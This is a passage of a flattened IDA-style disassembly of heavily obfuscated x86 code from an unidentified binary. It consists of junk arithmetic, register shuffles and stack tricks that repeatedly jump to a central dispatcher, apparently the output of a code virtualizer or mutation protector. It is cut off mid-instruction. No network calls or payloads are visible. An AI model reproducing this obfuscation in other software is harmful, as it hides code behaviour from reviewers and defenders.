push edx mov edx, eax push ebp mov ebp, edx mov edi, ebp pop ebp mov edx, [esp-1Ah+arg_12] add esp, 4 mov ebp, edi mov edi, [esp-1Eh+arg_16] jmp loc_58D31A ; --------------------------------------------------------------------------- loc_585545: ; CODE XREF: sub_580566+4777j and edi, 675E17A2h shl edi, 4 add edi, 64F70ED7h xor edi, 0D95856F3h push edx mov edx, edi mov eax, edx pop edx pop edi push ebx mov ebx, 7857642Ah shl ebx, 5 jmp loc_58EAE7 ; --------------------------------------------------------------------------- loc_58556F: ; CODE XREF: sub_580566+C3A8j pop esp mov [esp-20h+arg_16+2], ebp push [esp-20h+arg_1A+2] mov ebp, [esp-1Ch+arg_12+2] add esp, 4 jmp loc_584649 ; --------------------------------------------------------------------------- loc_585582: ; CODE XREF: sub_580566+BB70j mov [esp-20h+arg_16+2], eax xchg ebx, [esp-20h+arg_16+2] push ebx jmp loc_58C58F ; --------------------------------------------------------------------------- loc_58558E: ; CODE XREF: sub_580566+628Bj or eax, 2CB12276h or eax, 7D066E47h xor eax, 7FBF7F7Bh jmp loc_58D4B6 ; --------------------------------------------------------------------------- loc_5855A2: ; CODE XREF: sub_580566+FADCj add ecx, 74DB40B4h add ecx, ebx sub ecx, 74DB40B4h push [esp-1Ch+arg_12+2] pop ebx add esp, 4 add ecx, 2 jmp loc_586AD8 ; --------------------------------------------------------------------------- loc_5855BF: ; CODE XREF: sub_580566+A0A7j mov ebp, 16BD021Eh add edi, ebp pop ebp xor edi, 62F545E6h add edi, 0BB0BF8ACh add eax, edi jmp loc_588599 ; --------------------------------------------------------------------------- loc_5855DA: ; CODE XREF: sub_580566+40DEj pop ebx push ebp mov ebp, 2 add edx, ebp pop ebp xchg edx, [esp-8+arg_4] mov esp, [esp-8+arg_4] btc word ptr [esp-8+arg_4], ax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5855F5: ; CODE XREF: sub_580566+74BDj mov bh, 17h mov dh, bh pop ebx or ch, dh mov edx, [esp-8+arg_4] push ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 4 add ebx, ebp jmp loc_5871A3 ; --------------------------------------------------------------------------- loc_585615: ; CODE XREF: sub_580566+5EE2j not dword ptr [esp+0] pop edx xor eax, edx xor edx, eax xor eax, edx jmp loc_5896DE ; --------------------------------------------------------------------------- loc_585624: ; CODE XREF: sub_580566+E432j inc ebx push edx mov edx, 5DFA0032h dec edx sub edx, 5264B7CCh xor ebx, edx pop edx and ecx, ebx pop ebx add ecx, 15FD708Dh mov edi, ecx mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_58B49B ; --------------------------------------------------------------------------- loc_58564B: ; CODE XREF: sub_580566+81C0j xor [esp-0Ch+arg_8], edx pop eax push ebx jmp loc_58DE4D ; --------------------------------------------------------------------------- loc_585655: ; CODE XREF: sub_580566+DC89j mov ebx, 5D9A0FB9h xor ecx, ebx pop ebx sub edx, 12136975h add edx, ecx add edx, 12136975h pop ecx jmp loc_58F0E3 ; --------------------------------------------------------------------------- loc_585671: ; CODE XREF: sub_580566+D312j mov [esp-14h+arg_A+2], eax mov eax, esp sub esp, 4 jmp loc_58DDE2 ; --------------------------------------------------------------------------- loc_58567E: ; CODE XREF: sub_580566+EAEFj add ecx, esi pop esi sub ecx, 4 push 7424h mov [esp+0], ecx push [esp-10h+arg_A+2] jmp loc_58CD50 ; --------------------------------------------------------------------------- loc_585695: ; CODE XREF: sub_580566+FC05j push esi push [esp-8+arg_8] jmp loc_58F401 ; --------------------------------------------------------------------------- loc_58569F: ; CODE XREF: sub_580566+E191j push esi mov esi, esp add esi, 4 push ebx mov ebx, 4 jmp loc_584D9B ; --------------------------------------------------------------------------- loc_5856B3: ; CODE XREF: sub_580566+4901j push 4090524Fh jmp loc_586185 ; --------------------------------------------------------------------------- loc_5856BD: ; CODE XREF: sub_580566+FF21j push esi mov esi, esp add esi, 4 jmp loc_58B1C6 ; --------------------------------------------------------------------------- loc_5856CB: ; CODE XREF: sub_580566+9578j pop ebp sub esi, 2 xor esi, [esp+28h+var_28] xor [esp+28h+var_28], esi xor esi, [esp+28h+var_28] mov esp, [esp+28h+var_28] mov word ptr [esp+28h+var_28], cx jmp loc_584473 ; --------------------------------------------------------------------------- loc_5856E7: ; CODE XREF: sub_580566+4592j add esi, 4 xchg esi, [esp-2Ah+arg_20+2] pop esp shr ecx, 0 or eax, eax jz loc_586A66 push 13CCh jmp loc_58B9B4 ; --------------------------------------------------------------------------- loc_585706: ; CODE XREF: sub_580566+7E17j push edx mov edx, 619D3B16h add [esp-26h+arg_24+2], edx pop edx sub [esp-2Ah+arg_24+2], edi sub [esp-2Ah+arg_24+2], 619D3B16h mov edi, [esp-2Ah+arg_20+2] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_58D639 ; --------------------------------------------------------------------------- loc_585731: ; CODE XREF: sub_580566+770Ej add ebx, 4 xchg ebx, [esp+0] pop esp xor ebx, [esp-2Ah+arg_20+2] xor [esp-2Ah+arg_20+2], ebx xor ebx, [esp-2Ah+arg_20+2] mov esp, [esp-2Ah+arg_20+2] cmp ecx, eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_58574C: ; CODE XREF: sub_580566+6D76j push eax jmp loc_58C4B3 ; --------------------------------------------------------------------------- loc_585752: ; CODE XREF: sub_580566+9869j push 7F13h mov [esp-1Eh+arg_16], esi push ebp jmp loc_584EC6 ; --------------------------------------------------------------------------- loc_585760: ; CODE XREF: sub_580566+9298j pop ebx push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp-1Eh+arg_16] jmp loc_58F8CE ; --------------------------------------------------------------------------- loc_585772: ; DATA XREF: sub_580566+3D66o mov ecx, [esp-30h+arg_28] jmp loc_5893AA ; --------------------------------------------------------------------------- loc_58577A: ; CODE XREF: sub_580566+4611j mov ebp, [esp-2Eh+arg_24+2] add esp, 4 mov edx, edi push [esp-32h+arg_28+2] pop edi add esp, 4 and eax, edx jmp loc_588D4E ; --------------------------------------------------------------------------- loc_585793: ; CODE XREF: sub_580566+A42Dj push 4DE0h jmp loc_58A1C3 ; --------------------------------------------------------------------------- loc_58579D: ; CODE XREF: sub_580566+AE6Ej push edx mov edx, 4D1362A7h add edx, 0FFFFFFFFh add edx, 0FDC30B76h sub esi, edx pop edx sub esi, 0A28462Eh push 0 push [esp-2Eh+arg_24+2] push [esp-2Ah+arg_20+2] pop ebx push eax mov eax, esp add eax, 4 jmp loc_58EE1D ; --------------------------------------------------------------------------- loc_5857CE: ; CODE XREF: sub_580566+E812j mov cl, 2Ah sub cl, 0DEh jmp loc_58FF49 ; --------------------------------------------------------------------------- loc_5857D8: ; CODE XREF: sub_580566+89F0j pop ebx push ebp jmp loc_584820 ; --------------------------------------------------------------------------- loc_5857DF: ; CODE XREF: sub_580566+101F3j mov cl, 0ABh sub cl, 0BFh sub cl, ah add cl, 0BFh mov eax, [esp+0] jmp loc_58C3A3 ; --------------------------------------------------------------------------- loc_5857F1: ; CODE XREF: sub_580566+A9EAj mov eax, ecx jmp loc_5873FF ; --------------------------------------------------------------------------- loc_5857F8: ; CODE XREF: sub_580566+5AD2j push 430Eh mov [esp-22h+arg_1A], ebp mov ebp, 497C61D1h shr ebp, 8 add ebp, 0FFB6839Eh mov esi, ebp pop ebp sub [edi+24h], esi push dword ptr [esp+0] jmp loc_58C8DE ; --------------------------------------------------------------------------- loc_58581C: ; CODE XREF: sub_580566+550Aj sub edx, 58511DB2h pop ebp jmp loc_587E02 ; --------------------------------------------------------------------------- loc_585828: ; CODE XREF: sub_580566+9A12j or ebp, 401736DEh jmp loc_58A255 ; --------------------------------------------------------------------------- loc_585833: ; CODE XREF: sub_580566+FA8Cj push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp+0] pop esp xchg ebx, [esp-2Ah+arg_20+2] pop esp push ebp push eax sub esp, 4 mov [esp-22h+arg_1A], edi push 6074036Ah jmp loc_585C82 ; --------------------------------------------------------------------------- dw 2489h ; --------------------------------------------------------------------------- and al, 53h mov ebx, 4 add [esp-1Eh+arg_1A], ebx pop ebx jmp loc_5849FA ; --------------------------------------------------------------------------- loc_58586D: ; CODE XREF: sub_580566+F303j sub eax, edi add eax, 1D2743B7h push edi mov edi, 52DE5480h sub eax, edi pop edi add eax, 47BD0248h pop edi push edx push 4E262325h jmp loc_5906E4 ; --------------------------------------------------------------------------- loc_58588E: ; CODE XREF: sub_580566+ED9Fj xchg ch, ah dec ch xchg ch, ah jmp loc_58CC56 ; --------------------------------------------------------------------------- loc_585899: ; CODE XREF: sub_580566+7849j add esi, 7DD6419Bh or esi, 12DF29A2h push edi push ecx mov ecx, 63BA4F19h neg ecx not ecx inc ecx jmp loc_58EA7E ; --------------------------------------------------------------------------- loc_5858B6: ; CODE XREF: sub_580566+998Aj add eax, ebx pop ebx sub esp, 4 mov [esp-16h+arg_E], eax jmp loc_58F633 ; --------------------------------------------------------------------------- loc_5858C7: ; CODE XREF: sub_580566+4F64j push cx jmp loc_58A671 ; --------------------------------------------------------------------------- loc_5858CE: ; CODE XREF: sub_580566+D4CEj pop eax jmp loc_58B43F ; --------------------------------------------------------------------------- loc_5858D4: ; CODE XREF: sub_580566+A231j sub edi, 3EE3167Fh or edi, 5C67560h xor edi, 0DDFFF4Ah mov eax, edi pop edi jmp loc_5875D9 ; --------------------------------------------------------------------------- loc_5858EE: ; CODE XREF: sub_580566+9852j add esp, 4 jmp loc_58C635 ; --------------------------------------------------------------------------- loc_5858F9: ; CODE XREF: sub_580566+5660j mov [esp-2Ch+arg_24], eax jmp loc_58CC0B ; --------------------------------------------------------------------------- loc_585901: ; CODE XREF: sub_580566+DA95j push eax push 72DA4051h pop eax sub eax, 39D100A9h jmp loc_58BB26 ; --------------------------------------------------------------------------- loc_585912: ; DATA XREF: sub_580566+3DB2o push dword ptr [edi+1Ch] popf pop eax sbb [esp-34h+arg_2C], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_585920: ; CODE XREF: sub_580566+40F7j add edx, 1B332B08h push [esp-0Ch+arg_8] pop ecx add esp, 4 xchg edx, [esp+0] pop esp or eax, eax jz loc_587BF9 push dword ptr [edi+1Ch] push ebp mov ebp, 59274AD2h push ebp push ecx jmp loc_586B35 ; --------------------------------------------------------------------------- loc_585949: ; CODE XREF: sub_580566+83B7j mov ebx, esp jmp loc_5877DF ; --------------------------------------------------------------------------- loc_585950: ; CODE XREF: sub_580566+D0F9j pop esi push esi mov esi, 4 add edx, 3C787FECh add edx, esi sub edx, 3C787FECh pop esi xor edx, [esp-8+arg_4] xor [esp-8+arg_4], edx jmp loc_58CD30 ; --------------------------------------------------------------------------- loc_585971: ; CODE XREF: sub_580566+8B4Fj neg bh shr bh, 4 shr bh, 8 add bh, 67h shr bh, 2 push edx jmp loc_58F678 ; --------------------------------------------------------------------------- loc_585985: ; CODE XREF: sub_580566+610Dj pop edx push eax mov al, ch jmp loc_5865A5 ; --------------------------------------------------------------------------- loc_58598E: ; CODE XREF: sub_580566+A762j mov ebx, eax pop eax mov esi, 76587219h sub esi, ebx pop ebx add ebx, esi pop esi add ebx, 4 xor ebx, [esp+0] xor [esp+0], ebx xor ebx, [esp+0] mov esp, [esp+0] jmp loc_58E94B ; --------------------------------------------------------------------------- loc_5859B0: ; CODE XREF: sub_580566+5AACj jmp loc_584473 ; --------------------------------------------------------------------------- loc_5859B5: ; CODE XREF: sub_580566+D609j add edi, ebp pop ebp push 2331h mov [esp+0], ebx mov ebx, 2 add edi, ebx pop ebx xor edi, [esp-14h+arg_A+2] xor [esp-14h+arg_A+2], edi jmp loc_58B9C8 ; --------------------------------------------------------------------------- loc_5859D3: ; CODE XREF: sub_580566+AA4Fj pop esp mov ax, word ptr [esp-18h+arg_E+2] push ebp mov ebp, esp jmp loc_588BAE ; --------------------------------------------------------------------------- loc_5859E0: ; CODE XREF: sub_580566+FB23j push 7BB4h mov [esp+0], edi mov edi, 5B8220D7h not edi push edx mov edx, 7D782589h push esi mov esi, 0D905FAA5h xor edx, esi pop esi xor edi, edx mov edx, [esp-0Ch+arg_8] jmp loc_58DC38 ; --------------------------------------------------------------------------- loc_585A08: ; CODE XREF: sub_580566+C343j pop esp mov [esp+0], edx push [esp-10h+arg_A+2] pop edx jmp loc_58DD6C ; --------------------------------------------------------------------------- loc_585A16: ; CODE XREF: sub_580566+A820j push edx jmp loc_5872EE ; --------------------------------------------------------------------------- loc_585A1C: ; CODE XREF: sub_580566+97D2j pop ebp add ebp, 4 jmp loc_58C09D ; --------------------------------------------------------------------------- loc_585A28: ; CODE XREF: sub_580566+8543j and eax, edx jmp loc_58544F ; --------------------------------------------------------------------------- loc_585A2F: ; DATA XREF: sub_580566+3DA6o mov cx, word ptr [esp-30h+arg_28] push 4B21h mov [esp-2Ch+arg_24], ebx sub esp, 4 push 27h jmp loc_589D42 ; --------------------------------------------------------------------------- loc_585A4B: ; CODE XREF: sub_580566+930Ej and byte ptr [esp-24h+arg_1A+2], al pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_585A54: ; CODE XREF: sub_580566+76B5j mov edx, 48720EA0h and edx, 402D7434h push ebp mov ebp, 0EA80E75Ah push ecx mov ecx, 58511DB2h add edx, ecx pop ecx sub edx, ebp jmp loc_58581C ; --------------------------------------------------------------------------- loc_585A75: ; CODE XREF: sub_580566+90B3j add esi, edx pop edx xor esi, [esp-20h+arg_16+2] xor [esp-20h+arg_16+2], esi xor esi, [esp-20h+arg_16+2] pop esp or ebx, ebx jnz loc_58B9DB push 48h mov [esp-20h+arg_16+2], edx push edi mov edi, 4F41489Dh sub edi, 0FED1269Eh add [esp-1Ch+arg_16+2], edi push [esp-1Ch+arg_12+2] push [esp-18h+arg_E+2] pop edi push edx mov edx, esp add edx, 4 jmp loc_58C818 ; --------------------------------------------------------------------------- loc_585AB7: ; CODE XREF: sub_580566+FDC4j mov [esp-14h+arg_A+2], ebx push esp mov ebx, [esp+0] add esp, 4 push 3E5Ch mov [esp+0], edi mov edi, 547C71C8h not edi xor edi, 0AB838E33h jmp loc_5894D1 ; --------------------------------------------------------------------------- loc_585ADB: ; CODE XREF: sub_580566+B152j mov ebp, esi jmp loc_58889E ; --------------------------------------------------------------------------- loc_585AE2: ; CODE XREF: sub_580566+AE17j add esp, 4 jmp loc_584D36 ; --------------------------------------------------------------------------- loc_585AEA: ; CODE XREF: sub_580566+F84Aj push [esp-14h+arg_E+2] pop ecx pop [esp-14h+arg_A+2] pop esp jmp loc_584507 ; --------------------------------------------------------------------------- loc_585AF8: ; CODE XREF: sub_580566+42F9j neg cl sub cl, 4Ah shr cl, 5 push eax mov ah, 71h xor ah, 58h xchg dl, ah push edx jmp loc_58F2F9 ; --------------------------------------------------------------------------- loc_585B0E: ; CODE XREF: sub_580566+5AF4j push dword ptr [esp+4] pop ebp pop [esp-22h+arg_1A] pop esp mov [esp-2Ah+arg_20+2], ecx jmp loc_58E21A ; --------------------------------------------------------------------------- loc_585B1F: ; CODE XREF: sub_580566+BE62j sub ebp, 0FFFFFFFFh jmp loc_5852BD ; --------------------------------------------------------------------------- loc_585B27: ; CODE XREF: sub_580566+5C6Dj sub ebx, eax push edx mov edx, 65E80F92h jmp loc_5885A6 ; --------------------------------------------------------------------------- loc_585B34: ; CODE XREF: sub_580566+E97Dj mov eax, esp push ebp mov ebp, 4 add eax, ebp mov ebp, [esp-22h+arg_1A] add esp, 4 sub eax, 4 xor eax, [esp+0] jmp loc_58FF1F ; --------------------------------------------------------------------------- loc_585B4F: ; CODE XREF: sub_580566+40C5j mov edx, [esp+8+var_8] push edx jmp loc_58882E ; --------------------------------------------------------------------------- loc_585B58: ; CODE XREF: sub_580566+F1EDj pop eax pop ebp pop ecx jmp loc_586169 ; --------------------------------------------------------------------------- loc_585B60: ; CODE XREF: sub_580566+66B2j pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_585B66: ; CODE XREF: sub_580566+F3F5j xor ecx, esi mov esi, [esp+0] push ebx push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp+0] pop esp push ebx sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 40h jmp loc_585F6F ; --------------------------------------------------------------------------- loc_585B8F: ; CODE XREF: sub_580566+7381j push ebx push 4 pop ebx add edi, 2C7A1BBAh jmp loc_58CE53 ; --------------------------------------------------------------------------- loc_585BA1: ; CODE XREF: sub_580566+7F99j sub ebp, 4 xor ebp, [esp+8+var_8] xor [esp+8+var_8], ebp jmp loc_58493F ; --------------------------------------------------------------------------- loc_585BAF: ; CODE XREF: sub_580566+82DEj sub bl, dl sub bl, 41h mov edx, [esp+8+var_8] add esp, 4 movzx eax, al mov dx, word ptr [esp+4+var_4] push 0A24h jmp loc_5858F9 ; --------------------------------------------------------------------------- loc_585BCB: ; CODE XREF: sub_580566+43C0j inc edx jmp loc_58EB90 ; --------------------------------------------------------------------------- loc_585BD1: ; CODE XREF: sub_580566+E3B3j push ebx jmp loc_58E2C9 ; --------------------------------------------------------------------------- loc_585BD7: ; CODE XREF: sub_580566+4584j add ebx, 152C21ACh pop ebp add ebx, 4 xchg ebx, [esp-32h+arg_28+2] pop esp or edx, eax shl edx, 1 push 5357h jmp loc_58B41C ; --------------------------------------------------------------------------- loc_585BF3: ; CODE XREF: sub_580566+4D52j sub ebx, 505E53C1h add ebp, ebx jmp loc_58CF1F ; --------------------------------------------------------------------------- loc_585C00: ; CODE XREF: sub_580566+5A04j sub ebp, 32C15CCh jmp loc_58985F ; --------------------------------------------------------------------------- loc_585C0B: ; CODE XREF: sub_580566+9E26j push edi jmp loc_58FB5B ; --------------------------------------------------------------------------- loc_585C11: ; CODE XREF: sub_580566+F774j xor dh, 0F0h sub dh, 98h push cx push ebx jmp loc_589778 ; --------------------------------------------------------------------------- loc_585C1F: ; CODE XREF: sub_580566+7945j sub ebx, ecx mov ecx, ebx pop ebx push eax jmp loc_58CE1A ; --------------------------------------------------------------------------- loc_585C2A: ; CODE XREF: sub_580566+5C0Ej mov [esp+0Ch+var_C], edi push ecx mov ecx, 7E254C5Fh push ecx push ebp push 2F5E5E48h mov ebp, [esp+1Ch+var_1C] add esp, 4 xor [esp+18h+var_14], ebp pop ebp pop edi xor edi, 2F5E5E48h pop ecx and edi, 664D1355h xor edi, 0A061EFh push esi mov esi, 995AA646h add edi, 6875611Bh sub edi, 78482AEFh add edi, esi add edi, 78482AEFh sub edi, 6875611Bh pop esi jmp loc_58E008 ; --------------------------------------------------------------------------- loc_585C82: ; CODE XREF: sub_580566+52EFj pop edi xor edi, 6074036Bh push edi pop eax pop edi jmp loc_588392 ; --------------------------------------------------------------------------- loc_585C91: ; CODE XREF: sub_580566+A606j jmp loc_584473 ; --------------------------------------------------------------------------- loc_585C96: ; CODE XREF: sub_580566+9D34j shr ecx, 4 sub ecx, 0FFFFFFFFh sub ecx, 4F75062h sub ebx, 3BE6FDEh jmp loc_58B1B1 ; --------------------------------------------------------------------------- loc_585CAD: ; CODE XREF: sub_580566+4AF6j mov ecx, esp push edx push ebx mov ebx, 33196A56h jmp loc_587C5C ; --------------------------------------------------------------------------- loc_585CBB: ; CODE XREF: sub_580566+D877j add edx, ebx mov ebx, [esp-20h+arg_16+2] jmp loc_58E5E3 ; --------------------------------------------------------------------------- loc_585CC5: ; DATA XREF: sub_580566+3C52o push dword ptr [esp+0] push dword ptr [esp+0] pop eax push 5199h mov [esp+4+var_4], esi push 234Ah jmp loc_585FE5 ; --------------------------------------------------------------------------- loc_585CDE: ; CODE XREF: sub_580566+48BBj add ecx, ebx sub ecx, 65B13017h pop ebx xchg ecx, [esp+8+var_8] pop esp jmp loc_584473 ; --------------------------------------------------------------------------- loc_585CF0: ; CODE XREF: sub_580566+40B5j pop [esp+8+var_8] pop esp and eax, esi mov esi, [esp+0] jmp loc_58BF64 ; --------------------------------------------------------------------------- loc_585CFE: ; CODE XREF: sub_580566+E2B2j mov edx, 4 add edi, edx pop edx add edi, 4 xor edi, [esp+0] xor [esp+0], edi xor edi, [esp+0] pop esp push ecx jmp loc_587673 ; --------------------------------------------------------------------------- loc_585D1C: ; DATA XREF: sub_580566+3C92o mov cx, [esp+0] jmp loc_5901FD ; --------------------------------------------------------------------------- loc_585D25: ; CODE XREF: sub_580566+77BAj mov edx, edi mov ebp, edx mov edx, [esp+0] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0] pop esp mov edi, [esp+0] add esp, 4 and eax, ebp mov ebp, [esp-8+arg_4] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+0] mov esp, [esp+0] jmp loc_586FF6 ; --------------------------------------------------------------------------- loc_585D61: ; CODE XREF: sub_580566+B020j mov ebp, 49FF6F22h xor ebp, 48961ABCh xor ebp, 34713E08h jmp loc_58B2D5 ; --------------------------------------------------------------------------- loc_585D77: ; CODE XREF: sub_580566+5F3Bj add esi, 7D9859DFh add esi, edi jmp loc_58DA39 ; --------------------------------------------------------------------------- loc_585D84: ; CODE XREF: sub_580566+75BCj mov [esp+0], ebx jmp loc_586C3B ; --------------------------------------------------------------------------- loc_585D8C: ; CODE XREF: sub_580566+CEB7j inc edi push ebx jmp loc_588EF6 ; --------------------------------------------------------------------------- loc_585D93: ; CODE XREF: sub_580566+A3FCj neg esi sub esi, 0AE4372A5h shr esi, 3 add esi, 15767F34h add ecx, esi pop esi add ecx, 47CAA29Ah sub ebp, ecx pop ecx jmp loc_59012B ; --------------------------------------------------------------------------- loc_585DB5: ; CODE XREF: sub_580566+7A47j push eax sub esp, 4 jmp loc_588454 ; --------------------------------------------------------------------------- loc_585DBE: ; DATA XREF: sub_580566+3EA6o mov ax, word ptr [esp-30h+arg_28] push ebp push esp pop ebp push 4E4h mov [esp-28h+arg_20], edx mov edx, 424242D4h sub edx, 41237C18h not edx add edx, 11EC6C1h jmp loc_58EF2A ; --------------------------------------------------------------------------- loc_585DE5: ; CODE XREF: sub_580566+7DB0j mov ecx, [esp-28h+arg_20] push 4F22h mov [esp-24h+arg_1A+2], ebp jmp loc_58BDF4 ; --------------------------------------------------------------------------- loc_585DF5: ; CODE XREF: sub_580566+62FCj add edx, ebp pop ebp sub edx, eax push ebx push 51EF119Ch pop ebx sub edx, 516F342Dh sub edx, ebx push eax mov eax, 516F342Dh add edx, eax pop eax push [esp-24h+arg_1A+2] mov ebx, [esp-20h+arg_16+2] add esp, 4 push eax push esp pop eax add eax, 4 add eax, 4 jmp loc_586C0F ; --------------------------------------------------------------------------- loc_585E2B: ; CODE XREF: sub_580566+F3A4j push edi mov edi, 4287536Bh xor edi, 31517BB7h and eax, edi pop edi neg eax push 13E5h mov [esp-1Ch+arg_12+2], esi jmp loc_5881F9 ; --------------------------------------------------------------------------- loc_585E49: ; CODE XREF: sub_580566+6D39j xor [esp-1Ch+arg_12+2], eax pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_585E52: ; CODE XREF: sub_580566+C72Bj add esp, 4 jmp loc_58BFEE ; --------------------------------------------------------------------------- loc_585E5A: ; CODE XREF: sub_580566+F3B3j sub byte ptr [esp-1Ch+arg_12+2], bh jmp loc_58B139 ; --------------------------------------------------------------------------- loc_585E62: ; CODE XREF: sub_580566+1017Fj push edi push ebx jmp loc_58D572 ; --------------------------------------------------------------------------- loc_585E69: ; CODE XREF: sub_580566+7BB8j pop ebp push ecx mov ecx, 0B250FB71h push ecx add dword ptr [esp+0], 7E9C1711h pop ebx jmp loc_5853FE ; --------------------------------------------------------------------------- loc_585E7E: ; CODE XREF: sub_580566+A57Cj mov ecx, 4 add ebx, ecx mov ecx, [esp-14h+arg_A+2] add esp, 4 jmp loc_58A458 ; --------------------------------------------------------------------------- loc_585E93: ; CODE XREF: sub_580566+A663j xor ebx, 0A8ABD04Bh sub eax, ebx jmp loc_586BCA ; --------------------------------------------------------------------------- loc_585EA0: ; CODE XREF: sub_580566+3F2Dj pop ecx not bh xor bh, 62h add bh, 4Dh or bh, 9Ch xor bh, 87h jmp loc_584CE2 ; --------------------------------------------------------------------------- loc_585EB4: ; CODE XREF: sub_580566+8624j pop eax jmp loc_588279 ; --------------------------------------------------------------------------- loc_585EBA: ; CODE XREF: sub_580566+BDF6j pop ecx push edi mov edi, 22C05940h jmp loc_588547 ; --------------------------------------------------------------------------- loc_585EC6: ; CODE XREF: sub_580566+F9A6j add edx, 4A231F51h sub edx, ebp jmp loc_58AE69 ; --------------------------------------------------------------------------- loc_585ED3: ; CODE XREF: sub_580566+67A2j mov [esp-18h+arg_E+2], esi jmp loc_58F952 ; --------------------------------------------------------------------------- loc_585EDB: ; CODE XREF: sub_580566+AA6Ej add ebp, 8E7B281Dh jmp loc_58BDFD ; --------------------------------------------------------------------------- loc_585EE6: ; CODE XREF: sub_580566+8CEFj sub ah, 0E7h jmp loc_58DA0E ; --------------------------------------------------------------------------- loc_585EEE: ; CODE XREF: sub_580566+4274j pop edi xor esi, 7EAB69DCh add ebx, esi pop esi push eax mov eax, 4 add ebx, eax pop eax xchg ebx, [esp+0] pop esp jmp loc_58B232 ; --------------------------------------------------------------------------- loc_585F0A: ; CODE XREF: sub_580566+5B68j not edx not edx add edx, 0C29D9CE3h add esi, edx pop edx sub ecx, 15610CCAh add ecx, esi add ecx, 15610CCAh mov esi, [esp-0Ch+arg_8] add esp, 4 sub esp, 4 mov [esp-0Ch+arg_8], ebx jmp loc_58C726 ; --------------------------------------------------------------------------- loc_585F36: ; CODE XREF: sub_580566+8729j xchg ecx, [esp-0Ch+arg_8] pop esp push dword ptr [esp+0] pop eax push 5559h mov [esp-0Ch+arg_8], esi jmp loc_58961E ; --------------------------------------------------------------------------- loc_585F4B: ; CODE XREF: sub_580566+A329j neg esi xor esi, 39F7519Ah sub esi, 0E113DA43h add eax, esi pop esi pop esi and eax, 0D8E25BAh sub eax, 10A0586h mov esi, eax pop eax jmp loc_585C00 ; --------------------------------------------------------------------------- loc_585F6F: ; CODE XREF: sub_580566+5624j push ebp pop ebx pop ebp and ecx, ebx push dword ptr [esp+0] pop ebx push 0BD6h mov [esp+4+var_4], ecx mov ecx, esp jmp loc_58B8E3 ; --------------------------------------------------------------------------- loc_585F87: ; CODE XREF: sub_580566+F398j add ecx, 4 xor ecx, [esp+4+var_4] xor [esp+4+var_4], ecx jmp loc_58CCBA ; --------------------------------------------------------------------------- loc_585F95: ; CODE XREF: sub_580566+8A68j push edi jmp loc_588CD4 ; --------------------------------------------------------------------------- loc_585F9B: ; CODE XREF: sub_580566+6D1Dj add bl, 0C3h pop eax jmp loc_58B772 ; --------------------------------------------------------------------------- loc_585FA4: ; CODE XREF: sub_580566+70AFj sub [esp+4], eax mov eax, [esp+4+var_4] add esp, 4 push dword ptr [esp+0] pop eax add esp, 4 add eax, 6DB31AF8h movzx ax, byte ptr [eax] jmp loc_5900B2 ; --------------------------------------------------------------------------- loc_585FC6: ; CODE XREF: sub_580566+9EEDj pop dword ptr [esp+0] pop esp xor dh, 9Ah sub al, dh mov edx, [esp-0Ch+arg_8] jmp loc_587A0C ; --------------------------------------------------------------------------- loc_585FD7: ; CODE XREF: sub_580566+C3D0j add ecx, ebx pop ebx sub esp, 4 mov [esp-0Ch+arg_8], ebx jmp loc_5893C1 ; --------------------------------------------------------------------------- loc_585FE5: ; CODE XREF: sub_580566+5773j mov [esp+8+var_8], esp jmp loc_58C51D ; --------------------------------------------------------------------------- loc_585FED: ; CODE XREF: sub_580566+DD85j mov [esp+8+var_8], esp jmp loc_586867 ; --------------------------------------------------------------------------- loc_585FF5: ; CODE XREF: sub_580566+DB76j xchg ecx, [esp+8+var_8] pop esp mov [esp+4+var_4], edx jmp loc_5902C3 ; --------------------------------------------------------------------------- loc_586001: ; CODE XREF: sub_580566+C28Dj add esp, 4 pop dword ptr [esp+0] mov esp, [esp+0] sar word ptr [esp+0], cl pushf jmp loc_5859B0 ; --------------------------------------------------------------------------- loc_586017: ; CODE XREF: sub_580566+FE82j mov edx, [esp+0] add esp, 4 mov ebx, [esp+0] add esp, 4 and eax, edi pop edi or edx, eax shl edx, 1 push 6493h mov [esp-8+arg_4], esi jmp loc_5857F8 ; --------------------------------------------------------------------------- loc_58603D: ; CODE XREF: sub_580566+44E4j pop dx push dx jmp loc_586DAE ; --------------------------------------------------------------------------- loc_586046: ; CODE XREF: sub_580566+F423j pop ebp add esp, 4 add ebp, 4 sub ebp, 4 push ebp jmp loc_585B0E ; --------------------------------------------------------------------------- loc_58605F: ; CODE XREF: sub_580566+D0F2j and edi, 5BD1429h sub esp, 4 mov [esp-30h+arg_28], edi not [esp-30h+arg_28] pop edi push esi sub esp, 4 mov [esp-2Ch+arg_24], edi mov edi, 61CC700Eh mov esi, edi mov edi, [esp-2Ch+arg_24] add esp, 4 add esi, 0FFFFFFFFh and esi, 1D146868h jmp loc_589486 ; --------------------------------------------------------------------------- loc_586097: ; CODE XREF: sub_580566+8BDCj mov esp, [esp-30h+arg_28] shl [esp-30h+arg_28], cl pushf jmp loc_584473 ; --------------------------------------------------------------------------- loc_5860A3: ; CODE XREF: sub_580566+EC26j xor edx, ebx pop ebx jmp loc_58F015 ; --------------------------------------------------------------------------- loc_5860AB: ; CODE XREF: sub_580566+B060j push cx mov cl, 0E6h or al, cl pop cx sub al, 9Eh add al, 0C0h sub dh, al pop eax add bl, dh pop edx jmp loc_58F66A ; --------------------------------------------------------------------------- loc_5860C2: ; CODE XREF: sub_580566+903Cj mov edx, 329E466Eh push edx not [esp-34h+arg_2C] pop edx neg edx jmp loc_585F0A ; --------------------------------------------------------------------------- loc_5860D3: ; CODE XREF: sub_580566+A283j xor ebx, 7F1673E1h or ebx, 7CAF2ED5h sub ebx, 13F89FBDh push edx mov edx, ebx mov eax, edx pop edx pop ebx add eax, 0ACB3B08Ch mov edx, eax pop eax add esi, edx pop edx or esi, 504859DCh add esi, 